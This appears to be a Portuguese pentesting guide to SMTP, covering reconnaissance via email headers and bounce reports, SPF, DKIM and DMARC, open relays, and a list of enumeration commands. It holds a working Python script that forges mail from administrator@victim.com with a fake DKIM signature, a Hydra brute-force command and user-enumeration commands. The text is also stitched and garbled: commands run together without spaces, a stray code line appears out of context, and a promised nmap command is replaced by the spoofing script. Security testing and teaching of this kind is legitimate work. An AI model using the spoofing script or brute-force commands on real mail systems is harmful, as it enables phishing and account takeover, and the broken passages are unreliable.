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Informações Básicas
O Protocolo Simples de Transferência de Correio (SMTP) é um protocolo utilizado dentro da suíte TCP/IP para o envio e recebimento de e-mails. Devido às suas limitações em enfileirar mensagens no lado do destinatário, o SMTP é frequentemente empregado juntamente com POP3 ou IMAP. Esses protocolos adicionais permitem que os usuários armazenem mensagens em uma caixa de correio no servidor e as baixem periodicamente.
Na prática, é comum que programas de e-mail utilizem SMTP para enviar e-mails, enquanto utilizam POP3 ou IMAP para recebê-los. Em sistemas baseados em Unix, o sendmail se destaca como o servidor SMTP mais frequentemente usado para fins de e-mail. O pacote comercial conhecido como Sendmail abrange um servidor POP3. Além disso, o Microsoft Exchange fornece um servidor SMTP e oferece a opção de incluir suporte a POP3.
Porta padrão: 25,465(ssl),587(ssl)
PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
EMAIL Headers
Se você tiver a oportunidade de fazer a vítima te enviar um email (via formulário de contato da página da web, por exemplo), faça isso porque você pode aprender sobre a topologia interna da vítima vendo os cabeçalhos do email.
Você também pode obter um email de um servidor SMTP tentando enviar para esse servidor um email para um endereço inexistente (porque o servidor enviará para o atacante um email NDN). Mas, certifique-se de que você envie o email de um endereço permitido (verifique a política SPF) e que você possa receber mensagens NDN.
Você também deve tentar enviar conteúdos diferentes porque pode encontrar informações mais interessantes nos cabeçalhos, como: X-Virus-Scanned: by av.domain.com
Você deve enviar o arquivo de teste EICAR.
Detectar o AV pode permitir que você explore vulnerabilidades conhecidas.
Basic actions
Banner Grabbing/Basic connection
SMTP:
nc-vn<IP>25
SMTPS:
openssls_client-crlf-connectsmtp.mailgun.org:465#SSL/TLS without starttls commandopenssls_client-starttlssmtp-crlf-connectsmtp.mailgun.org:587
Ou automatize isso com o plugin nmapsmtp-ntlm-info.nse
Nome do servidor interno - Divulgação de informações
Alguns servidores SMTP completam automaticamente o endereço de um remetente quando o comando "MAIL FROM" é emitido sem um endereço completo, divulgando seu nome interno:
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
Sniffing
Verifique se você captura alguma senha dos pacotes para a porta 25
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Relatórios DSN
Relatórios de Notificação de Status de Entrega: Se você enviar um email para uma organização para um endereço inválido, a organização notificará que o endereço era inválido enviando um email de volta para você. Os cabeçalhos do email retornado contêm possíveis informações sensíveis (como o endereço IP dos serviços de email que interagiram com os relatórios ou informações sobre software antivírus).
print("[***]successfully sent email to %s:" % (msg['To']))
</details>
## SMTP Smuggling
A vulnerabilidade de SMTP Smuggling permitiu contornar todas as proteções SMTP (consulte a próxima seção para mais informações sobre as proteções). Para mais informações sobre SMTP Smuggling, consulte:
<div data-gb-custom-block data-tag="content-ref" data-url='smtp-smuggling.md'>
[smtp-smuggling.md](smtp-smuggling.md)
</div>
## Medidas de Contramedidas contra Spoofing de Email
As organizações são impedidas de ter e-mails não autorizados enviados em seu nome ao empregar **SPF**, **DKIM** e **DMARC** devido à facilidade de falsificação de mensagens SMTP.
Um **guia completo sobre essas contramedidas** está disponível em [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
### SPF
<div data-gb-custom-block data-tag="hint" data-style='danger'>
SPF [foi "depreciado" em 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Isso significa que, em vez de criar um **registro TXT** em `_spf.domain.com`, você o cria em `domain.com` usando a **mesma sintaxe**.\
Além disso, para reutilizar registros SPF anteriores, é bastante comum encontrar algo como `"v=spf1 include:_spf.google.com ~all"`
</div>
**Sender Policy Framework** (SPF) é um mecanismo que permite que Agentes de Transferência de Email (MTAs) verifiquem se um host que envia um e-mail está autorizado, consultando uma lista de servidores de e-mail autorizados definidos pelas organizações. Esta lista, que especifica endereços IP/faixas, domínios e outras entidades **autorizadas a enviar e-mails em nome de um nome de domínio**, inclui vários "**Mecanismos**" no registro SPF.
#### Mecanismos
De [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):
| Mecanismo | Descrição |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | Sempre corresponde; usado para um resultado padrão como `-all` para todos os IPs não correspondidos por mecanismos anteriores. |
| A | Se o nome de domínio tiver um registro de endereço (A ou AAAA) que pode ser resolvido para o endereço do remetente, ele corresponderá. |
| IP4 | Se o remetente estiver em uma determinada faixa de endereços IPv4, corresponder. |
| IP6 | Se o remetente estiver em uma determinada faixa de endereços IPv6, corresponder. |
| MX | Se o nome de domínio tiver um registro MX resolvendo para o endereço do remetente, ele corresponderá (ou seja, o e-mail vem de um dos servidores de e-mail de entrada do domínio). |
| PTR | Se o nome de domínio (registro PTR) para o endereço do cliente estiver no domínio dado e esse nome de domínio resolver para o endereço do cliente (DNS reverso confirmado), corresponder. Este mecanismo é desencorajado e deve ser evitado, se possível. |
| EXISTS | Se o nome de domínio dado resolver para qualquer endereço, corresponder (não importa para qual endereço ele resolve). Isso é raramente usado. Juntamente com a linguagem de macro SPF, oferece correspondências mais complexas, como consultas DNSBL. |
| INCLUDE | Referencia a política de outro domínio. Se a política desse domínio passar, este mecanismo passa. No entanto, se a política incluída falhar, o processamento continua. Para delegar completamente à política de outro domínio, a extensão de redirecionamento deve ser usada. |
| REDIRECT | <p>Um redirecionamento é um ponteiro para outro nome de domínio que hospeda uma política SPF, permitindo que vários domínios compartilhem a mesma política SPF. É útil ao trabalhar com uma grande quantidade de domínios que compartilham a mesma infraestrutura de e-mail.</p><p>A política SPF do domínio indicado no mecanismo de redirecionamento será usada.</p> |
Também é possível identificar **Qualificadores** que indicam **o que deve ser feito se um mecanismo for correspondido**. Por padrão, o **qualificador "+"** é usado (então, se qualquer mecanismo for correspondido, isso significa que é permitido).\
Você geralmente notará **no final de cada política SPF** algo como: **\~all** ou **-all**. Isso é usado para indicar que **se o remetente não corresponder a nenhuma política SPF, você deve marcar o e-mail como não confiável (\~) ou rejeitar (-) o e-mail.**
#### Qualificadores
Cada mecanismo dentro da política pode ser prefixado por um dos quatro qualificadores para definir o resultado pretendido:
* **`+`**: Corresponde a um resultado PASS. Por padrão, os mecanismos assumem este qualificativo, tornando `+mx` equivalente a `mx`.
* **`?`**: Representa um resultado NEUTRAL, tratado de forma semelhante a NONE (sem política específica).
* **`~`**: Denota SOFTFAIL, servindo como um meio-termo entre NEUTRAL e FAIL. E-mails que atendem a esse resultado são tipicamente aceitos, mas marcados de acordo.
* **`-`**: Indica FAIL, sugerindo que o e-mail deve ser rejeitado.
No exemplo a seguir, a **política SPF do google.com** é ilustrada. Note a inclusão de políticas SPF de diferentes domínios dentro da primeira política SPF:
```shell-session
dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com. IN TXT
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
dig txt _netblocks.google.com | grep spf
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
Tradicionalmente, era possível falsificar qualquer nome de domínio que não tivesse um registro SPF correto/qualquer. Hoje em dia, se o email vem de um domínio sem um registro SPF válido, provavelmente será rejeitado/marcado como não confiável automaticamente.
DKIM é utilizado para assinar emails de saída, permitindo sua validação por Agentes de Transferência de Email (MTAs) externos através da recuperação da chave pública do domínio no DNS. Esta chave pública está localizada no registro TXT de um domínio. Para acessar esta chave, é necessário conhecer tanto o seletor quanto o nome do domínio.
Por exemplo, para solicitar a chave, o nome do domínio e o seletor são essenciais. Estes podem ser encontrados no cabeçalho do email DKIM-Signature, e.g., d=gmail.com;s=20120113.
Um comando para buscar essas informações pode parecer:
dig20120113._domainkey.gmail.comTXT|grepp=# This command would return something like:20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
DMARC melhora a segurança do email ao se basear nos protocolos SPF e DKIM. Ele descreve políticas que orientam os servidores de email no manuseio de emails de um domínio específico, incluindo como lidar com falhas de autenticação e onde enviar relatórios sobre ações de processamento de email.
Para obter o registro DMARC, você precisa consultar o subdomínio _dmarc
Deaqui.
Você precisa ter registros SPF separados para cada subdomínio do qual deseja enviar e-mails.
O seguinte foi originalmente postado no openspf.org, que costumava ser um ótimo recurso para esse tipo de coisa.
A Pergunta Demoníaca: E os subdomínios?
Se eu receber um e-mail de pielovers.demon.co.uk, e não houver dados SPF para pielovers, devo voltar um nível e testar SPF para demon.co.uk? Não. Cada subdomínio na Demon é um cliente diferente, e cada cliente pode ter sua própria política. Não faria sentido que a política da Demon se aplicasse a todos os seus clientes por padrão; se a Demon quiser fazer isso, pode configurar registros SPF para cada subdomínio.
Portanto, o conselho para os publicadores de SPF é o seguinte: você deve adicionar um registro SPF para cada subdomínio ou nome de host que tenha um registro A ou MX.
Sites com registros A ou MX curinga também devem ter um registro SPF curinga, da forma: * IN TXT "v=spf1 -all"
Isso faz sentido - um subdomínio pode muito bem estar em uma localização geográfica diferente e ter uma definição SPF muito diferente.
Open Relay
Quando os e-mails são enviados, garantir que não sejam marcados como spam é crucial. Isso é frequentemente alcançado através do uso de um servidor de relay que é confiável pelo destinatário. No entanto, um desafio comum é que os administradores podem não estar totalmente cientes de quais intervalos de IP são seguros para permitir. Essa falta de entendimento pode levar a erros na configuração do servidor SMTP, um risco frequentemente identificado em avaliações de segurança.
Uma solução alternativa que alguns administradores usam para evitar problemas de entrega de e-mails, especialmente em relação a comunicações com clientes potenciais ou em andamento, é permitir conexões de qualquer endereço IP. Isso é feito configurando o parâmetro mynetworks do servidor SMTP para aceitar todos os endereços IP, conforme mostrado abaixo:
mynetworks=0.0.0.0/0
Para verificar se um servidor de email é um open relay (o que significa que ele pode encaminhar emails de qualquer fonte externa), a ferramenta nmap é comumente usada. Ela inclui um script específico projetado para testar isso. O comando para realizar uma varredura detalhada em um servidor (por exemplo, com IP 10.10.10.10) na porta 25 usando nmap é:
# This will send a test email from test@victim.com to destination@gmail.compython3magicspoofmail.py-dvictim.com-t-edestination@gmail.com# But you can also modify more options of the emailpython3magicspoofmail.py-dvictim.com-t-edestination@gmail.com--subjectTEST--senderadministrator@victim.com
Se você receber algum erro ao usar a biblioteca dkim python para analisar a chave, sinta-se à vontade para usar a seguinte.
NOTA: Esta é apenas uma solução rápida para fazer verificações rápidas em casos onde, por algum motivo, a chave privada do openssl não pode ser analisada pelo dkim.
# Isso enviará uma mensagem não assinadamail("your_email@gmail.com", "Assunto do Teste!", "oi! Isso é um teste", "De: administrator@victim.com");# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.pyimport osimport dkim #pip3 install dkimpyimport smtplibfrom email.mime.multipart import MIMEMultipartfrom email.mime.text import MIMETextfrom email.mime.base import MIMEBase# Set paramsdestination="destination@gmail.com"sender="administrator@victim.com"subject="Test"message_html="""<html><body><h3>This is a test, not a scam</h3><br /></body></html>"""sender_domain=sender.split("@")[1]# Prepare postfixos.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")os.system("systemctl restart postfix")# Generate DKIM keysdkim_private_key_path="dkimprivatekey.pem"os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")with open(dkim_private_key_path) as fh:dkim_private_key = fh.read()# Generate emailmsg = MIMEMultipart("alternative")msg.attach(MIMEText(message_html, "html"))msg["To"] = destinationmsg["From"] = sendermsg["Subject"] = subjectheaders = [b"To", b"From", b"Subject"]msg_data = msg.as_bytes()# Sign email with dkim## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)dkim_selector="s1"sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()msg_data = msg.as_bytes()# Use local postfix relay to send emailsmtp="127.0.0.1"s = smtplib.SMTP(smtp)s.sendmail(sender, [destination], msg_data)
Geralmente, se instalado, em /etc/postfix/master.cf contém scripts para executar quando, por exemplo, um novo e-mail é recebido por um usuário. Por exemplo, a linha flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} significa que /etc/postfix/filtering será executado se um novo e-mail for recebido pelo usuário mark.
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
Port_Number: 25,465,587 #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25
Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}
Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}
Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587
Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}
Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V
Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
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